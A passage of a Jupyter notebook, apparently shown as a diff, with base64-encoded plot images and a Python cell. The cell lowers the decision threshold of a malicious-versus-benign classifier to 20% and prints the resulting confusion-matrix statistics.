Ne63ap\nigU964sWaSarz3eQ5/EeXN/MMgdxs/6tVkNt68KXgGfz/oMFx7bv4v2eBA4gDZyb2UG+joL8U8An\ngekRsbiT+z1D6g7YjtTvX6/oOcysjvvEzfqxiPg98BjwZUlbNR6XtKqk9XLel0ivrX1K0gfq8qwO\n/GMXb1l7l/00Sat1kG9R3m9QcOwXpH9bTi86UVL9msuT8v6fG/IcAozotLRmA5xr4mb93xdIr5g9\nIuliUo11GOlVrE8DJwCX5bz/RFrX+G5J5/LuK2ardOVGETFT0pnAvwIPSrqa1Le9FfC3wG4RsYDU\nHL4Q+KqkJfk+L0XEHRFxnaRLgK9J2hm4mfQa3ebAnsA2eSMibpV0E3CkpPVJr5htQ1pg4jHgw934\nfZkNGA7iZv1Du83TEfGwpJ1I724fDHyZFECfJY1mn1KX9z5JnyC9I34C8DrwK+AC4NEuFSRivKSH\nSUsu/gupVv08KRi/kfMslXQocApp+tjBpC8Pd+Tjx+bJX76Yy7E66X3zB/Pnep/L1zkM+ATwCOnL\nyWGkaWnNrB1eitTMzKxFuU/czMysRTmIm5mZtSgHcTMzsxblIG5mZtaiHMTNzMxalIO4mZlZi3IQ\nNzMza1EO4mZmZi3KQdzMzKxFOYibmZm1qP8PQ0Onh5G8NcEAAAAASUVORK5CYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 173 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "#### We do the same, but set the threshold lower, to only 20%" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 9 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "y_probs = clf_all.predict_proba(X_test)[:,1]\n", + "thres = .20 # This can be set to whatever you'd like\n", + "y_pred[y_probs>thres] = 'malicious'\n", + "y_pred[y_probs<=thres] = 'benign'\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 95.10% (97/102)\n", + "benign/malicious: 4.90% (5/102)\n", + "malicious/benign: 0.00% (0/102)\n", + "malicious/malicious: 100.00% (102/102)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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